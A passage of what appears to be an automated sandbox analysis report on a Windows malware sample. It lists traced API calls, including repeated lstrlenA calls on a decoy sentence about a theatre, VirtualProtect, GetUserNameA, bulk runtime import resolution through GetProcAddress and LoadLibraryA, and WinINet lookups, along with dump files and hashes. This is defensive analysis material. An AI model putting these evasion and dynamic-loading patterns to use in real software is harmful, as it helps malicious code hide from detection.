lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,000669FB), ref: 000545ED
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,000669FB), ref: 000545F8
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,000669FB), ref: 00054607
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,000669FB), ref: 0005460E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,000669FB), ref: 0005461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,000669FB), ref: 00054627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,000669FB), ref: 00054632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,000669FB), ref: 0005463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,000669FB), ref: 00054648
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,000669FB), ref: 0005465C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,000669FB), ref: 00054667
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,000669FB), ref: 00054672
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,000669FB), ref: 0005467D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,000669FB), ref: 00054688
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 000546B1
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 000546BC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 000546C7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 000546D2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 000546DD
strlen.MSVCRT ref: 000546F0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00054718
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00054723
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0005472E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00054739
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00054744
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00054754
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0005475F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0005476A
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00054775
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00054780
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0005479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0005473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00054770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00054765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0005462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00054657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00054729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0005475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0005466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000546CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000546C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00054638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00054713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000545E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000546D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0005471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00054643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0005474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000545C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000546B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00054617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000546AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0005477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00054662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000545F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00054622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000545DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00054678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00054734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00054683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000545D2

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: a4540fb6e84a3064f697e2e79c50cbdf0bd9fc8474bf1c875a9b82c864de25ec
Instruction ID: 34b377f5624ffc5abff167fe0ae760c050bb55d695e99b26b11b123e0e6413e0
Opcode Fuzzy Hash: a4540fb6e84a3064f697e2e79c50cbdf0bd9fc8474bf1c875a9b82c864de25ec
Instruction Fuzzy Hash: 4A41CE79A40784EBF7189BE4EC8D9DD7B62AB48707B50C060F70A9D190CAFC95819B36

Function 00067850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,000511B7), ref: 00067880
HeapAlloc.KERNEL32(00000000,?,?,?,000511B7), ref: 00067887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0006789F

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: c32f246c1c1ce623d7b60167b9ee947080b9fdf23ba982fddbd20b537086b426
Instruction ID: cc822fd1a77b5bbfbf7411e33fbd7ff4118a37327de69dd03d3315c6ab3caf0f
Opcode Fuzzy Hash: c32f246c1c1ce623d7b60167b9ee947080b9fdf23ba982fddbd20b537086b426
Instruction Fuzzy Hash: 33F04FB1D44208EFC710DF99DD4ABAEFBB8FB04711F10025AFA05A3680C77419048BE1

Function 00069C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,00BC7EB0), ref: 00069C2D
GetProcAddress.KERNEL32(75900000,00BC7D50), ref: 00069C45
GetProcAddress.KERNEL32(75900000,00BC1D18), ref: 00069C5E
GetProcAddress.KERNEL32(75900000,00BC1D48), ref: 00069C76
GetProcAddress.KERNEL32(75900000,00BC1E20), ref: 00069C8E
GetProcAddress.KERNEL32(75900000,00BC1E50), ref: 00069CA7
GetProcAddress.KERNEL32(75900000,00BCA668), ref: 00069CBF
GetProcAddress.KERNEL32(75900000,00BC1E38), ref: 00069CD7
GetProcAddress.KERNEL32(75900000,00BC1DC0), ref: 00069CF0
GetProcAddress.KERNEL32(75900000,00BC1D90), ref: 00069D08
GetProcAddress.KERNEL32(75900000,00BC1DA8), ref: 00069D20
GetProcAddress.KERNEL32(75900000,00BC7C50), ref: 00069D39
GetProcAddress.KERNEL32(75900000,00BC7C70), ref: 00069D51
GetProcAddress.KERNEL32(75900000,00BC7CD0), ref: 00069D69
GetProcAddress.KERNEL32(75900000,00BC7E30), ref: 00069D82
GetProcAddress.KERNEL32(75900000,00BC1DD8), ref: 00069D9A
GetProcAddress.KERNEL32(75900000,00BC1DF0), ref: 00069DB2
GetProcAddress.KERNEL32(75900000,00BCA730), ref: 00069DCB
GetProcAddress.KERNEL32(75900000,00BC7C90), ref: 00069DE3
GetProcAddress.KERNEL32(75900000,00BC1E08), ref: 00069DFB
GetProcAddress.KERNEL32(75900000,00BD0018), ref: 00069E14
GetProcAddress.KERNEL32(75900000,00BCFFE8), ref: 00069E2C
GetProcAddress.KERNEL32(75900000,00BCFFA0), ref: 00069E44
GetProcAddress.KERNEL32(75900000,00BC7F10), ref: 00069E5D
GetProcAddress.KERNEL32(75900000,00BCFFB8), ref: 00069E75
GetProcAddress.KERNEL32(75900000,00BD0030), ref: 00069E8D
GetProcAddress.KERNEL32(75900000,00BCFF88), ref: 00069EA6
GetProcAddress.KERNEL32(75900000,00BD0048), ref: 00069EBE
GetProcAddress.KERNEL32(75900000,00BCFFD0), ref: 00069ED6
GetProcAddress.KERNEL32(75900000,00BD0000), ref: 00069EEF
GetProcAddress.KERNEL32(75900000,00BCFF28), ref: 00069F07
GetProcAddress.KERNEL32(75900000,00BCFF58), ref: 00069F1F
GetProcAddress.KERNEL32(75900000,00BCFE80), ref: 00069F38
GetProcAddress.KERNEL32(75900000,00BC4730), ref: 00069F50
GetProcAddress.KERNEL32(75900000,00BCFCE8), ref: 00069F68
GetProcAddress.KERNEL32(75900000,00BCFD00), ref: 00069F81
GetProcAddress.KERNEL32(75900000,00BC7DD0), ref: 00069F99
GetProcAddress.KERNEL32(75900000,00BCFD30), ref: 00069FB1
GetProcAddress.KERNEL32(75900000,00BC7DF0), ref: 00069FCA
GetProcAddress.KERNEL32(75900000,00BCFD78), ref: 00069FE2
GetProcAddress.KERNEL32(75900000,00BCFF40), ref: 00069FFA
GetProcAddress.KERNEL32(75900000,00BC7E50), ref: 0006A013
GetProcAddress.KERNEL32(75900000,00BC7E90), ref: 0006A02B
LoadLibraryA.KERNEL32(00BCFF70,?,00065CA3,?,00000034,00000064,00066600,?,0000002C,00000064,000665A0,?,00000030,00000064,Function_00015AD0,?), ref: 0006A03D
LoadLibraryA.KERNEL32(00BCFD18,?,00065CA3,?,00000034,00000064,00066600,?,0000002C,00000064,000665A0,?,00000030,00000064,Function_00015AD0,?), ref: 0006A04E
LoadLibraryA.KERNEL32(00BCFC88,?,00065CA3,?,00000034,00000064,00066600,?,0000002C,00000064,000665A0,?,00000030,00000064,Function_00015AD0,?), ref: 0006A060
LoadLibraryA.KERNEL32(00BCFE98,?,00065CA3,?,00000034,00000064,00066600,?,0000002C,00000064,000665A0,?,00000030,00000064,Function_00015AD0,?), ref: 0006A072
LoadLibraryA.KERNEL32(00BCFF10,?,00065CA3,?,00000034,00000064,00066600,?,0000002C,00000064,000665A0,?,00000030,00000064,Function_00015AD0,?), ref: 0006A083
LoadLibraryA.KERNEL32(00BCFDC0,?,00065CA3,?,00000034,00000064,00066600,?,0000002C,00000064,000665A0,?,00000030,00000064,Function_00015AD0,?), ref: 0006A095
LoadLibraryA.KERNEL32(00BCFCA0,?,00065CA3,?,00000034,00000064,00066600,?,0000002C,00000064,000665A0,?,00000030,00000064,Function_00015AD0,?), ref: 0006A0A7
LoadLibraryA.KERNEL32(00BCFEF8,?,00065CA3,?,00000034,00000064,00066600,?,0000002C,00000064,000665A0,?,00000030,00000064,Function_00015AD0,?), ref: 0006A0B8
GetProcAddress.KERNEL32(75FD0000,00BC7EF0), ref: 0006A0DA
GetProcAddress.KERNEL32(75FD0000,00BCFCD0), ref: 0006A0F2
GetProcAddress.KERNEL32(75FD0000,00BCD888), ref: 0006A10A
GetProcAddress.KERNEL32(75FD0000,00BCFD48), ref: 0006A123
GetProcAddress.KERNEL32(75FD0000,00BC82F0), ref: 0006A13B
GetProcAddress.KERNEL32(734B0000,00BCA780), ref: 0006A160
GetProcAddress.KERNEL32(734B0000,00BC8010), ref: 0006A179
GetProcAddress.KERNEL32(734B0000,00BCA348), ref: 0006A191
GetProcAddress.KERNEL32(734B0000,00BCFCB8), ref: 0006A1A9
GetProcAddress.KERNEL32(734B0000,00BCFE38), ref: 0006A1C2
GetProcAddress.KERNEL32(734B0000,00BC8310), ref: 0006A1DA
GetProcAddress.KERNEL32(734B0000,00BC81F0), ref: 0006A1F2
GetProcAddress.KERNEL32(734B0000,00BCFEB0), ref: 0006A20B
GetProcAddress.KERNEL32(763B0000,00BC82D0), ref: 0006A22C
GetProcAddress.KERNEL32(763B0000,00BC8330), ref: 0006A244
GetProcAddress.KERNEL32(763B0000,00BCFE68), ref: 0006A25D
GetProcAddress.KERNEL32(763B0000,00BCFD60), ref: 0006A275
GetProcAddress.KERNEL32(763B0000,00BC82B0), ref: 0006A28D
GetProcAddress.KERNEL32(750F0000,00BCA118), ref: 0006A2B3
GetProcAddress.KERNEL32(750F0000,00BCA4B0), ref: 0006A2CB
GetProcAddress.KERNEL32(750F0000,00BCFDA8), ref: 0006A2E3
GetProcAddress.KERNEL32(750F0000,00BC81B0), ref: 0006A2FC
GetProcAddress.KERNEL32(750F0000,00BC8210), ref: 0006A314
GetProcAddress.KERNEL32(750F0000,00BCA0C8), ref: 0006A32C
GetProcAddress.KERNEL32(75A50000,00BCFD90), ref: 0006A352
GetProcAddress.KERNEL32(75A50000,00BC8030), ref: 0006A36A
GetProcAddress.KERNEL32(75A50000,00BCD938), ref: 0006A382
GetProcAddress.KERNEL32(75A50000,00BCFEC8), ref: 0006A39B
GetProcAddress.KERNEL32(75A50000,00BCFDD8), ref: 0006A3B3
GetProcAddress.KERNEL32(75A50000,00BC7FD0), ref: 0006A3CB
GetProcAddress.KERNEL32(75A50000,00BC8230), ref: 0006A3E4
GetProcAddress.KERNEL32(75A50000,00BCFDF0), ref: 0006A3FC
GetProcAddress.KERNEL32(75A50000,00BCFEE0), ref: 0006A414
GetProcAddress.KERNEL32(75070000,00BC8090), ref: 0006A436
GetProcAddress.KERNEL32(75070000,00BCFE08), ref: 0006A44E
GetProcAddress.KERNEL32(75070000,00BCFE20), ref: 0006A466
GetProcAddress.KERNEL32(75070000,00BCFE50), ref: 0006A47F
GetProcAddress.KERNEL32(75070000,00BD0C10), ref: 0006A497
GetProcAddress.KERNEL32(74E50000,00BC7FF0), ref: 0006A4B8
GetProcAddress.KERNEL32(74E50000,00BC81D0), ref: 0006A4D1
GetProcAddress.KERNEL32(75320000,00BC8110), ref: 0006A4F2
GetProcAddress.KERNEL32(75320000,00BD0BB0), ref: 0006A50A
GetProcAddress.KERNEL32(6F060000,00BC8050), ref: 0006A530
GetProcAddress.KERNEL32(6F060000,00BC8130), ref: 0006A548
GetProcAddress.KERNEL32(6F060000,00BC8070), ref: 0006A560
GetProcAddress.KERNEL32(6F060000,00BD0AF0), ref: 0006A579
GetProcAddress.KERNEL32(6F060000,00BC8270), ref: 0006A591
GetProcAddress.KERNEL32(6F060000,00BC8350), ref: 0006A5A9
GetProcAddress.KERNEL32(6F060000,00BC8290), ref: 0006A5C2
GetProcAddress.KERNEL32(6F060000,00BC80B0), ref: 0006A5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 0006A5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 0006A607
GetProcAddress.KERNEL32(74E00000,00BD0A90), ref: 0006A629
GetProcAddress.KERNEL32(74E00000,00BCD948), ref: 0006A641
GetProcAddress.KERNEL32(74E00000,00BD0B08), ref: 0006A659
GetProcAddress.KERNEL32(74E00000,00BD0BC8), ref: 0006A672
GetProcAddress.KERNEL32(74DF0000,00BC80D0), ref: 0006A693
GetProcAddress.KERNEL32(6E330000,00BD0B20), ref: 0006A6B4
GetProcAddress.KERNEL32(6E330000,00BC80F0), ref: 0006A6CD
GetProcAddress.KERNEL32(6E330000,00BD0AD8), ref: 0006A6E5
GetProcAddress.KERNEL32(6E330000,00BD0C28), ref: 0006A6FD

Strings

InternetSetOptionA, xrefs: 0006A5E5
HttpQueryInfoA, xrefs: 0006A5FC

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 426400937f7f2497a9af9a1877ee0164e0e632e6635e6b9b4b41808a20044d3a
Instruction ID: 6cd07972b10227d0f3ccfd5537e55e096415cda1e31e9390e5764184fa0b5c28
Opcode Fuzzy Hash: 426400937f7f2497a9af9a1877ee0164e0e632e6635e6b9b4b41808a20044d3a
Instruction Fuzzy Hash: A06229B5611300AFC744DFA9FD8E9AAB7F9F78C301724851BA609C7274D6399842CBD2

Function 00069860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,00BC1688), ref: 000698A1
GetProcAddress.KERNEL32(75900000,00BC1700), ref: 000698BA
GetProcAddress.KERNEL32(75900000,00BC16D0), ref: 000698D2
GetProcAddress.KERNEL32(75900000,00BC1718), ref: 000698EA
GetProcAddress.KERNEL32(75900000,00BC1778), ref: 00069903
GetProcAddress.KERNEL32(75900000,00BC0170), ref: 0006991B
GetProcAddress.KERNEL32(75900000,00BBABA0), ref: 00069933
GetProcAddress.KERNEL32(75900000,00BBABC0), ref: 0006994C
GetProcAddress.KERNEL32(75900000,00BC17A8), ref: 00069964
GetProcAddress.KERNEL32(75900000,00BC17C0), ref: 0006997C
GetProcAddress.KERNEL32(75900000,00BC17F0), ref: 00069995
GetProcAddress.KERNEL32(75900000,00BC1850), ref: 000699AD
GetProcAddress.KERNEL32(75900000,00BBAC00), ref: 000699C5
GetProcAddress.KERNEL32(75900000,00BC1868), ref: 000699DE
GetProcAddress.KERNEL32(75900000,00BC19B8), ref: 000699F6
GetProcAddress.KERNEL32(75900000,00BBACE0), ref: 00069A0E
GetProcAddress.KERNEL32(75900000,00BC19A0), ref: 00069A27
GetProcAddress.KERNEL32(75900000,00BC19D0), ref: 00069A3F
GetProcAddress.KERNEL32(75900000,00BBAD80), ref: 00069A57
GetProcAddress.KERNEL32(75900000,00BC19E8), ref: 00069A70
GetProcAddress.KERNEL32(75900000,00BBADA0), ref: 00069A88
LoadLibraryA.KERNEL32(00BC1A00,?,00066A00), ref: 00069A9A
LoadLibraryA.KERNEL32(00BC1988,?,00066A00), ref: 00069AAB
LoadLibraryA.KERNEL32(00BC1A18,?,00066A00), ref: 00069ABD
LoadLibraryA.KERNEL32(00BC1A30,?,00066A00), ref: 00069ACF
LoadLibraryA.KERNEL32(00BC1A48,?,00066A00), ref: 00069AE0
GetProcAddress.KERNEL32(75070000,00BC1BE0), ref: 00069B02
